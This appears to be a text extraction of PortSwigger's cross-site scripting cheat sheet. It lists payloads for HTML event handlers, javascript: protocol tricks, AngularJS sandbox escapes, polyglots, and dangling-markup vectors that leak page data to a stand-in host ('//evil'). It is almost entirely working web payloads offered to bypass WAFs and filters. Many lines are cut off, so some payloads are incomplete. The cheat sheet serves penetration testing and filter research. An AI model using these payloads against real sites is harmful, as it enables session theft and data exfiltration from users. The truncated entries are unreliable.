T<SVG Onload Confirm (Document - Domain) > (9 8) "
T<SVG Onload Confirm (Document - Domain) > (9 8) "
This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can s
browser and a proof of concept is included for every vector. This cheat sheet is regularly updated in 2020. Last upda
Event handlers
onactivate
Compatibility: Fires when the element is activated <a id=x tabindex=1 onactivate=alert(1)></a>
onafterprint
Compatibility: Fires after the page is printed <body onafterprint=alert(1)>
onanimationcancel
Compatibility: Fires when a CSS animation cancels <style>@keyframes x{from {left:0;}to {left: 1000px;}}:targ
{animation:10s ease-in-out 0s 1 x;}</style><a id=x
style="position:absolute;" onanimationcancel="alert(1)"></a>
onanimationend
Compatibility: Fires when a CSS animation ends <style>@keyframes x{}</style><a style="animation-name
onanimationend="alert(1)"></a>
onanimationiteration
Compatibility: Fires when a CSS animation repeats <style>@keyframes slidein {}</style><a style="animation
duration:1s;animation-name:slidein;animation-iteration-count:2"
onanimationiteration="alert(1)"></a>
onanimationstart
Compatibility: Fires when a CSS animation starts <style>@keyframes x{}</style><a style="animation-name:
onanimationstart="alert(1)"></a>
onbeforeactivate
Compatibility: Fires before the element is activated <a id=x tabindex=1 onbeforeactivate=alert(1)></a>
onbeforedeactivate
Compatibility: Fires before the element is deactivated <a id=x tabindex=1 onbeforedeactivate=alert(1)></a><in
onbeforeprint
Compatibility: Fires before the page is printed <body onbeforeprint=alert(1)>
onbeforeunload
Compatibility: Fires after if the url changes <body onbeforeunload="location='javascript:alert(1)'">
onbegin
Compatibility: Fires when a svg animation begins <svg><animate onbegin=alert(1) attributeName=x dur=1s
onblur
Compatibility: Fires when an element loses focus <a onblur=alert(1) tabindex=1 id=x></a><input autofocus
onbounce
Compatibility: Fires when the marquee bounces <marquee width=1 loop=1 onbounce=alert(1)>XSS</marque
oncanplay
Compatibility: Fires if the resource can be played <audio oncanplay=alert(1)><source src="validaudio.wav" type=
</audio>
oncanplaythrough
Compatibility: Fires when enough data has been loaded <video oncanplaythrough=alert(1)><source src="validvid
type="video/mp4"></video>
to play the resource all the way through
ondeactivate
Compatibility: Fires when the element is deactivated <a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y a
onend
Compatibility: Fires when a svg animation ends <svg><animate onend=alert(1) attributeName=x dur=1s>
onended
Compatibility: Fires when the resource is finished <audio controls autoplay onended=alert(1)><source src="valid
type="audio/wav"></audio>
playing
onerror
Compatibility: Fires when the resource fails to load or <audio src/onerror=alert(1)>
causes an error
onfinish
Compatibility: Fires when the marquee finishes <marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
onfocus
Compatibility: Fires when the element has focus <a id=x tabindex=1 onfocus=alert(1)></a>
onfocusin
Compatibility: Fires when the element has focus <a id=x tabindex=1 onfocusin=alert(1)></a>
onfocusout
Compatibility: Fires when an element loses focus <a onfocusout=alert(1) tabindex=1 id=x></a><input autofocu
onhashchange
Compatibility: Fires if the hash changes <body onhashchange="alert(1)">
onload
Compatibility: Fires when the element is loaded <svg><a onload=alert(1)></a>
onloadeddata
Compatibility: Fires when the first frame is loaded <audio onloadeddata=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onloadedmetadata
Compatibility: Fires when the meta data is loaded <audio autoplay onloadedmetadata=alert(1)> <source src="v
type="audio/wav"></audio>
onloadend
Compatibility: Fires when the element finishes loading <image src=validimage.png onloadend=alert(1)>
onloadstart
Compatibility: Fires when the element begins to load <image src=validimage.png onloadstart=alert(1)>
onmessage
Compatibility: Fires when message event is received <body onmessage=alert(1)>
from a postMessage call
onpageshow
Compatibility: Fires when the page is shown <body onpageshow=alert(1)>
onplay
Compatibility: Fires when the resource is played <audio autoplay onplay=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onplaying
Compatibility: Fires the resource is playing <audio autoplay onplaying=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onpopstate
Compatibility: Fires when the history changes <body onpopstate=alert(1)>
onreadystatechange
Compatibility: Fires when the ready state changes <applet onreadystatechange=alert(1)></applet>
onrepeat
Compatibility: Fires when a svg animation repeats <svg><animate onrepeat=alert(1) attributeName=x dur=1s re
onresize
Compatibility: Fires when the window is resized <body onresize="alert(1)">
onscroll
Compatibility: Fires when the page scrolls <body onscroll=alert(1)><div style=height:1000px></div><div id=x
onstart
Compatibility: Fires when the marquee starts <marquee onstart=alert(1)>XSS</marquee>
ontimeupdate
Compatibility: Fires when the timeline is changed <audio controls autoplay ontimeupdate=alert(1)><source
src="validaudio.wav" type="audio/wav"></audio>
ontoggle
Compatibility: Fires when the details tag is expanded <details ontoggle=alert(1) open>test</details>
ontransitioncancel
Compatibility: Fires when a CSS transition cancels <style>:target {color: red;}</style><a id=x style="transition:colo
ontransitioncancel=alert(1)></a>
ontransitionend
Compatibility: Fires when a CSS transition ends <style>:target {color:red;}</style><a id=x style="transition:color
ontransitionend=alert(1)></a>
ontransitionrun
Compatibility: Fires when a CSS transition begins <style>:target {transform: rotate(180deg);}</style><a id=x
style="transition:transform 2s" ontransitionrun=alert(1)></a>
onunhandledrejection
Compatibility: Fires when a promise isn't handled <body onunhandledrejection=alert(1)><script>fetch('//xyz')<
onwaiting
Compatibility: Fires when while waiting for the data <video autoplay controls onwaiting=alert(1)><source src="v
type=video/mp4></video>
onauxclick
Compatibility: Fires when right clicking or using the <input onauxclick=alert(1)>
middle button of the mouse
onbeforecopy
Compatibility: Requires you copy a piece of text <a onbeforecopy="alert(1)" contenteditable>test</a>
onbeforecut
Compatibility: Requires you cut a piece of text <a onbeforecut="alert(1)" contenteditable>test</a>
onbeforepaste
Compatibility: Requires you paste a piece of text <a onbeforepaste="alert(1)" contenteditable>test</a>
onchange
Compatibility: Requires as change of value <input onchange=alert(1) value=xss>
onclick
Compatibility: Requires a click of the element <a onclick="alert(1)">test</a>
oncontextmenu
Compatibility: Triggered when right clicking to show the <a oncontextmenu="alert(1)">test</a>
context menu
oncopy
Compatibility: Requires you copy a piece of text <a oncopy="alert(1)" contenteditable>test</a>
oncut
Compatibility: Requires you cut a piece of text <a oncut="alert(1)" contenteditable>test</a>
ondblclick
Compatibility: Triggered when double clicking the <a ondblclick="alert(1)">test</a>
element
ondrag
Compatibility: Triggered dragging the element <a draggable="true" ondrag="alert(1)">test</a>
ondragend
Compatibility: Triggered dragging is finished on the <a draggable="true" ondragend="alert(1)">test</a>
element
ondragenter
Compatibility: Requires a mouse drag <a draggable="true" ondragenter="alert(1)">test</a>
ondragleave
Compatibility: Requires a mouse drag <a draggable="true" ondragleave="alert(1)">test</a>
ondragover
Compatibility: Triggered dragging over an element <div draggable="true" contenteditable>drag me</div><a on
contenteditable>drop here</a>
ondragstart
Compatibility: Requires a mouse drag <a draggable="true" ondragstart="alert(1)">test</a>
ondrop
Compatibility: Triggered dropping a draggable element <div draggable="true" contenteditable>drag me</div><a
contenteditable>drop here</a>
oninput
Compatibility: Requires as change of value <input oninput=alert(1) value=xss>
oninvalid
Compatibility: Requires a form submission with an <form><input oninvalid=alert(1) required><input type=subm
element that does not satisfy its
constraints such as a required attribute.
onkeydown
Compatibility: Triggered when a key is pressed <a onkeydown="alert(1)" contenteditable>test</a>
onkeypress
Compatibility: Triggered when a key is pressed <a onkeypress="alert(1)" contenteditable>test</a>
onkeyup
Compatibility: Triggered when a key is released <a onkeyup="alert(1)" contenteditable>test</a>
onmousedown
Compatibility: Triggered when the mouse is pressed <a onmousedown="alert(1)">test</a>
onmouseenter
Compatibility: Triggered when the mouse is hovered <a onmouseenter="alert(1)">test</a>
over the element
onmouseleave
Compatibility: Triggered when the mouse is moved <a onmouseleave="alert(1)">test</a>
away from the element
onmousemove
Compatibility: Requires mouse movement <a onmousemove="alert(1)">test</a>
onmouseout
Compatibility: Triggered when the mouse is moved <a onmouseout="alert(1)">test</a>
away from the element
onmouseover
Compatibility: Requires a hover over the element <a onmouseover="alert(1)">test</a>
onmouseup
Compatibility: Triggered when the mouse button is <a onmouseup="alert(1)">test</a>
released
onpaste
Compatibility: Requires you paste a piece of text <a onpaste="alert(1)" contenteditable>test</a>
onpause
Compatibility: Requires clicking the element to pause <audio autoplay controls onpause=alert(1)><source src="val
type="audio/wav"></audio>
onpointerover
Compatibility: Fires when the mouseover <a onpointerover=alert(1)>XSS</a>
onpointerdown
Compatibility: Fires when the mouse down <a onpointerdown=alert(1)>XSS</a>
onpointerenter
Compatibility: Fires when the mouseenter <a onpointerenter=alert(1)>XSS</a>
onpointerleave
Compatibility: Fires when the mouseleave <a onpointerleave=alert(1)>XSS</a>
onpointermove
Compatibility: Fires when the mouse move <a onpointermove=alert(1)>XSS</a>
onpointerout
Compatibility: Fires when the mouse out <a onpointerout=alert(1)>XSS</a>
onpointerup
Compatibility: Fires when the mouse up <a onpointerup=alert(1)>XSS</a>
onreset
Compatibility: Requires a click <form onreset=alert(1)><input type=reset>
onsearch
Compatibility: Fires when a form is submitted and the <form><input type=search onsearch=alert(1) value="Hit retu
input has a type attribute of search
onseeked
Compatibility: Requires clicking the element timeline <audio autoplay controls onseeked=alert(1)><source src="val
type="audio/wav"></audio>
onseeking
Compatibility: Requires clicking the element timeline <audio autoplay controls onseeking=alert(1)><source src="va
type="audio/wav"></audio>
onselect
Compatibility: Requires you select text <input onselect=alert(1) value="XSS" autofocus>
onsubmit
Compatibility: Requires a form submission <form onsubmit=alert(1)><input type=submit>
ontouchstart
Compatibility: Fires when the touch screen, only mobile <body ontouchstart=alert(1)>
device
ontouchend
Compatibility: Fires when the touch screen, only mobile <body ontouchend=alert(1)>
device
ontouchmove
Compatibility: Fires when the touch screen and move, <body ontouchmove=alert(1)>
only mobile device
onunload
Compatibility: Requires a click anywhere on the page <svg onunload=window.open('javascript:alert(1)')>
and a reload
onvolumechange
Compatibility: Requires volume adjustment <audio autoplay controls onvolumechange=alert(1)><source
src="validaudio.wav" type="audio/wav"></audio>
onwheel
Compatibility: Fires when you use the mouse wheel <body onwheel=alert(1)>
Restricted characters
Frameworks
Protocols
Characters \x01-\x20 are allowed before the protocol <a href=" javascript:alert(1)">XSS</a>
SVG script href attribute without closing script tag <svg><script href="data:text/javascript,alert(1)" />
Click a submit element from anywhere on the page, <form action="javascript:alert(1)"><input type=submit id=x><
for=x>XSS</label>
even outside the form
Hidden inputs: Access key attributes can enable <input type="hidden" accesskey="X" onclick="alert(1)"> (Press AL
on Windows) (CTRL+ALT+X on OS X)
XSS on normally unexploitable elements
Link elements: Access key attributes can enable <link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press
ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
XSS on normally unexploitable elements
Download attribute can save a copy of the current <a href=# download="filename.html">Test</a>
webpage
Set window.name via target attribute in a <base> tag <base target="alert(1)"><a href="http://subdomain1.portswigg
labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via
target in base tag</a>
Set window.name via target attribute in a <a> tag <a target="alert(1)" href="http://subdomain1.portswigger-
labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via
target in a tag</a>
Set window.name via usemap attribute in a <img> <img src="validimage.png" width="10" height="10" usemap="#
name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)"
tag
href="http://subdomain1.portswigger-labs.net/xss/xss.php?
context=js_string_single&x=%27;eval(name)//"></map>
Special tags
Encoding
Obfuscation
1.3.0 Gábor Molnár (Google) 272 {{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
)));}}
1.2.0 - 1.5.0 Eduardo Vela (Google) 190 <div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>fo
<div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">
{{ [1].reduce(value.alert, 1); }}</div></div></div>
Scriptless attacks
Dangling markup
Background attribute <body background="//evil?
<table background="//evil?
<table><thead background="//evil?
<table><tbody background="//evil?
<table><tfoot background="//evil?
<table><td background="//evil?
<table><th background="//evil?
Pass markup data through window.name using form <button form=x>XSS</button><form id=x action=//evil target=
target
Pass markup data through window.name using <form><input type=submit value="Click me"
formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html
formtarget
formtarget="
Using embed window name to pass data from the <embed src=http://subdomain1.portswigger-labs.net/dangling_
name="
page
Using iframe window name to pass data from the <iframe src=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
page
Using object window name to pass data from the <object data=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
page
Using frame window name to pass data from the <frameset><frame src=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
page
Polyglots
Iframe data urls no longer work as modern browsers <iframe src="data:text/html,<img src=1 onerror=alert(docume
use a null origin
IE9 select elements and plaintext used to consume <form action=x><button>XSS</button><select name=x><op
<script>token="supersecret"</script>
markup
XBL also worked in FF3.5 using data urls <img src="blah" style="-moz-binding: url(data:text/xml;charset=ut
8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22
http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%
mentation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%
%22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%2
r.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20
document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bo
appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implemen
3C/ binding%3E%3C/bindings%3E)" />
Credits
Brought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: J
Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jan Horn, Ian Hickey, Gáb
Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, R
Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyM
Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS, avanish46, Juuso Käenmäki, jinm
Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu
You can contribute to this cheat sheet by updating the JSON and creating a pull request